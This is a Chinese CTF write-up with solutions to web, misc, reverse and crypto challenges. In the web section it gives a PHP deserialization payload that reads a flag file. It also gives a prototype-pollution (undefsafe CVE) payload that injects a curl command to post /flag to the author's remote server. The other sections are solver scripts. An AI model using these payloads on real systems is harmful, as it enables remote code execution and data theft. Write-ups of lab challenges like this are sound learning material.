一次体验不太好的比赛,web题环境容易崩,所以做着做着搞其他题去了,不过也还好整出点题目。但是可能这比赛py太多,最后还是没能进线下。

Web

AreUSerialz

算是一个简单的反序列化,主要是类里面用了protected,所以需要做一下绕过。题目给出了源码,主要是对is_valid的绕过。在is_valid函数中,会把protected类型的属性的序列化字符串中的不可见字符\00筛掉。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

最开始做这题一直在想着各种构造payload bypass,但结果绕了半天发现可以直接改public利用弱类型就可以拿到文件了。Payload如下:

?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:1:%22%22}

这里因为要读取文件,所以要让$op等于2,直接利用弱类型即可。

Notes

这题在比赛的时候搞了半天,发现是CVE-2019-10795 unsafe原型链污染,但是不知道为什么一直弹不回flag。后面自己再复现的时候就可以了…问了下其他师傅说可能是这次比赛docker的问题,玄学。

题目给出了源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

审计代码,发现在route函数中有一个commands数组,如果可以将代码传到这里则可以rce。这里参照上述所说CVE的利用,可以用edit_node去污染object,将payload注入,再访问status即可执行代码实现RCE。

id=__proto__"."author":"curl http:xxx.xxx.xxx.xxx:7777 -F 'file=@/flag'","raw":"test"}

在edit_note传入上述payload,访问status即可在vps中看到弹回的flag。

Misc

签到

答题,答对15道题之后输入token,此时可以抓到一个请求flag.php的包,repeat一下就可以拿到flag

虚幻

这次的Misc里最难受的一道题。压缩包打开之后是一个file文件,查看发现是png格式,改为png格式(36*12像素):

用Stegsolve处理,R、G、B的图分别为:

可以发现,有图像的区域分别为3110像素(R)、3111像素(G)、3110像素(B)以GBR的顺序,每次取311像素的一行,循环拼图可以得到一张图片

而汉信码一般是这样的。

可以发现整体的方向和四个角的方向都有所不对。把图像逆时针旋转90°,再把左下的定位标转到正确的方向:

右上还有个7*9的空白区域需要修补,这个只能写脚本强行爆破……

from PIL import Image
import random
im = Image.open('xuhuan.png')
width = im.size[0]
height = im.size[1]
print(im.size)

black = im.getpixel((0,0))
white = im.getpixel((1,1))

for y in range(0,7):
for x in range(14,23):
color = random.choice([black,white])
im.putpixel((x,y),color)
#print(im.getpixel((x,y)))
im.save("save.png","PNG")

得到汉明码之后,在 http://www.efittech.com/hxdec.html 上传得到结果.

Re

Bang

直接找个root了的手机,用Xposed-ZjDroid脱下壳可以拿到dex文件,用dex2jar反编译可以找到flag。在脱壳后,使用Jeb 也可以直接分析源码得flag。脱壳可以参考这个

Singal

main函数调用了vm_operad函数,从名字可以看出是虚拟机。拿py实现一下里面的功能,然后把判断语句丢进z3,就好了。z3是真的好用23333。下面是某位大佬的exp,毕竟web狗,做这个题目的时候写了好几个脚本慢慢算,太low了…

from z3 import *

code=b'\n\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00 \x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00!\x00\x00\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x08\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\t\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00Q\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00$\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x006\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00A\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00 \x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00\x08\x00\x00\x00\x02\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\t\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00A\x00\x00\x00\x08\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00"\x00\x00\x00\x07\x00\x00\x00?\x00\x00\x00\x07\x00\x00\x004\x00\x00\x00\x07\x00\x00\x002\x00\x00\x00\x07\x00\x00\x00r\x00\x00\x00\x07\x00\x00\x003\x00\x00\x00\x07\x00\x00\x00\x18\x00\x00\x00\x07\x00\x00\x00\xa7\xff\xff\xff\x07\x00\x00\x001\x00\x00\x00\x07\x00\x00\x00\xf1\xff\xff\xff\x07\x00\x00\x00(\x00\x00\x00\x07\x00\x00\x00\x84\xff\xff\xff\x07\x00\x00\x00\xc1\xff\xff\xff\x07\x00\x00\x00\x1e\x00\x00\x00\x07\x00\x00\x00z\x00\x00\x00'

code=[int.from_bytes(code[i:i+4],'little')for i in range(0,114*4,4)]

flag=[BitVec('s'+str(i),8)for i in range(15)]
oflag=[i for i in flag]
solver=Solver()
out=[]
tmp=0
o2=0
fp=0
v6=0

i=0
while i<114:
x=code[i]
if x==1:
out.append(tmp)
i+=1
fp+=1
elif x==2:
tmp = code[i + 1] + flag[fp] &255
i += 2;
elif x==3:
tmp = flag[fp] - code[i + 1] &255
i += 2;
elif x==4:
tmp = code[i + 1] ^ flag[fp];
i += 2;
elif x==5:
tmp = code[i + 1] * flag[fp];
i += 2;
elif x==6:
i+=1
elif x==7:
solver.add(out[o2]==code[i+1])
i+=2
o2+=1
elif x==8:
flag[v6] = tmp;
i+=1
v6+=1
elif x==10:
i+=1
elif x==11:
tmp = flag[fp] - 1;
i+=1
elif x==12:
tmp = flag[fp] + 1;
i+=1
else:
assert 0

if solver.check():
m=solver.model()
for i in oflag:
print(chr(m[i].as_long()),end='')
print()

Crypto

you raise me up

解离散对数问题,求mod 2**512 的离散对数,直接暴力枚举,我自己用的是sagemath网站求的解,求出来用long_to_byte转一下就可以。后来请教了mcfx师傅,看了一下他的脚本,发现精妙多了,这里需要注意一个比较特殊的关系,n的值是个二次幂,即模数为二次幂,可以简化暴力破解过程。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random

m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499

mod = 2
result = [1]

while mod < 2**512:
temp = []
for i in result:
temp.append(i+mod)
temp.append(i)

result.clear()
mod = mod*2
for i in temp:
if(pow(m,i,mod) == c%mod):
result.append(i)

for i in result:
print(str(i.to_bytes(64,'big')))

boom

按照提示完成即可拿到flag,注意windows用cmd跑,不然会闪退。

en5oy
x=74 y=68 z=31
x=89127561

easy_ya

这题在比赛的时候有做过,但是时间关系做不动了。一个环境题,需要利用题目给出的n1、c1、n2和c2,用RSA逆推出ek,其中可以利用n1和n2质因数相同求出n1的质因数分解。这题后面也没复现了,可以看一下[这位师傅]的脚本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import gmpy2
from libnum import n2s,s2n
import string

n1 = 523302236767994199900474363344509016779069116440336509402579663927023212822016176967224920257215697515649639915194389392664393435704126520500342935380422629852958893595198501678886910437288107490865842806189885864227955305292596726620737250011643028592306930279653650874633693082819617471411085797465171317473575199984137570425840763157847215554005503026976635376775672263338018024842152016782550728415532850496820668169596712488535626476321971915772540785626943870257914929277013026283202706480202573253694027965561121582254805059775814137542861056288774182091519461752761702279929984980399296157122817271523455097901334302748985253698791419583126820263035649222528798493821648538568572195005358978375666451378629463679501572550304224399031869931606326980885244883575380615433423693907673692911481956161922234589747374211957098461625670478121184734721478951324090304946630772999533103517416951906651316589244984076827527352185687877958699658011472950078992791104307370649334689901210147765149584862868749574640976109508247204313701721196275177445231013673265642224568068643851710967790673640935447579098048865343477978938147696617434878198467680874826616766904653374028721826187308127128623535689512750830887981058826202565202400511
c1 = 498116479126828060721351777093052860074248131123861633687756928866328288114135612849582257727497809922257024131348207980532057240060103798568227977564521497134127080257805342446192248133124844549442334197110567598270256443362563074473166503647429611051333058467042150637666479765740465760837773368463067714839472516227071241189038004851446423799255357523722335018334006275302424683874359612832738469924300750750078529793617519763670882091967677827342326944222743651042579235831828367996040140715066967834876505105847352068608085060284716208922782057542541292881761158407247706056426656079240060590899310402168208571288608455268870805780135942398347873755131825844602660879197979908250552518202142180574849619997871142575611493295891685289794234943270549985371377356916876993228441993132176346052582480841840804748103391892367360829385946406970449784716173650039815882209635063166095389007982620077884907738945623441531598991729082106049943909989119158441101967074276580858829052824691525753913860208906309655761578594225039981683717544420716889594252263165426914121554799496094906541367521362681696570717997925590955291849918357945303214885384216817697786187947817980231717851370305526120464677525392225631245022522492166336294567990
n2 = 536990588699972595171044696252776619032179414787125154102250364726703105272855466989014009336094247702108918440942171080587326115929077717421949560294869471182366684971337895133599697112193778007924450399107079732471847945598232349103839178632745959014098099259478108015237884846605377823461726458684486899249980041743056079896277510838968230729745020510029386228057731944169220820085059789541971092769832034181463596023438597531006332700648910769750936607476390311140301912742677001065893470340950419360642998700303488716826766066363262819042158064398656956185348135880225267894029419814797931720405594656777311094389676998338309809990367862926139317751409984908306801799152005179724137997626023826392780245630698648023945119617679627945415398046106871715475183890738417311925747430222040725394347022734489930069712092197629163647317772330355887387543008085150959104427391942023985298997288368357638062454066636100000548473809891299732343069825793293706407805782587150123342081839983609199059401502925783039760450730519603070519136086703825438807058787688044991172737575437559249668471352046085614345186161595152256193672994722540039920217058451215889862638946510188311582046866299423997659515395934871167522463706085186962242421859
c2 = 164402111514416870480151927449107349163820084533580709383993929301187569338852498622073106678649496858117593538947720740640339668153033620409471744700183709591276280704323985437330452541949262852531710176243561888397374683972759177181684560891529123569371241980602358823138808014488471284855401456011020109937046905434967828616466812821052222924691090808870700970795942705766163862790406417148540210339722273902825469460099520769061522024042123766536620554426683612099219790921573403278241760344418925630823806366949039901279532624187976211611528860461687073096888450694175459321193571925480949635977079339284905452476161156840739751431793628217796061271713787710176980187083301171958573364765677389306720995362317264018186392366551999368657422142163919262968449796794407119199996178284891867472060688293602896147398028717874542567143635071645595076767066361989345197270110842062044509038468406120271061465308775126927579741460684420290619983532930017201223504143911140388202527374930493248620993306321032961537876323380443523093814730204234290659449391857198796743587265894069493376291713198073023178977070834614584650913597763729414655680380751407408769289343905637501434637829997447542901620528323133332447667258731683700542347651
p = gmpy2.gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p
e = 0x10001
phi1 = (p-1)*(q1-1)
d1 = gmpy2.invert(e, phi1)
m = pow(c1, d1, n1)
ek = n2s(m)

key = '8891898088b197a0bfa78199b28195bfae89'.decode('hex')
limit = lambda n: n & 0xffffffff

Key = [ord(i) for i in key]
a = limit((Key[0] << 24) | (Key[1] << 16) | (Key[2] << 8) | Key[3])
b = limit((Key[4] << 24) | (Key[5] << 16) | (Key[6] << 8) | Key[7])
c = limit((Key[8] << 24) | (Key[9] << 16) | (Key[10] << 8) | Key[11])
d = limit((Key[12] << 24) | (Key[13] << 16) | (Key[14] << 8) | Key[15])

outputs = [0x65d4ce3b0b1b3f48bb9fdL, 0xf0230f43414a9c9ac0488L, 0xbd592ebe04025b783fb5bL, 0x28d194dcd1c79b4bb8074L, 0x7c493be8f0fdbb740ec29L]

def reversecalc(a, b, c, d, y, z, pad):
for i in range(32, 0, -1):
# print 'Round %d: %d, %d' % (i, y, z)
pads = limit(pad * i)
paramz = (y*16+c)^(y+pads)^((y>>5)+d)
if(z < paramz):
z = limit(z - paramz + 0x100000000)
else:
z = limit(z - paramz)
paramy = (z*16+a)^(z+pads)^((z>>5)+b)
if(y < paramy):
y = limit(y - paramy + 0x100000000)
else:
y = limit(y - paramy)
# print (y, z)
return y, z

for output in outputs:
print hex(output)
binout = bin(output)[2:]
binout = '0'*(84-len(binout))+binout
y = int(binout[:32], 2)
for i in range(4096):
bini = bin(i)[2:]
bini = '0'*(12-len(bini))+bini
tmpbinpads = bini[0:5] + binout[32:52] + bini[5:12] + '00000'
pad = int(tmpbinpads, 2) / 32
pads = limit(int(tmpbinpads, 2))
z = output ^ (y<<52) ^ (pads<<20)
y0, z0 = reversecalc(a, b, c, d, y, z, pad)
tmpstr = n2s(y0)+n2s(z0)
valid = True
for j in tmpstr:
if (not j in string.printable)and(j != '\x00'):
valid = False
break
if(valid):
print tmpstr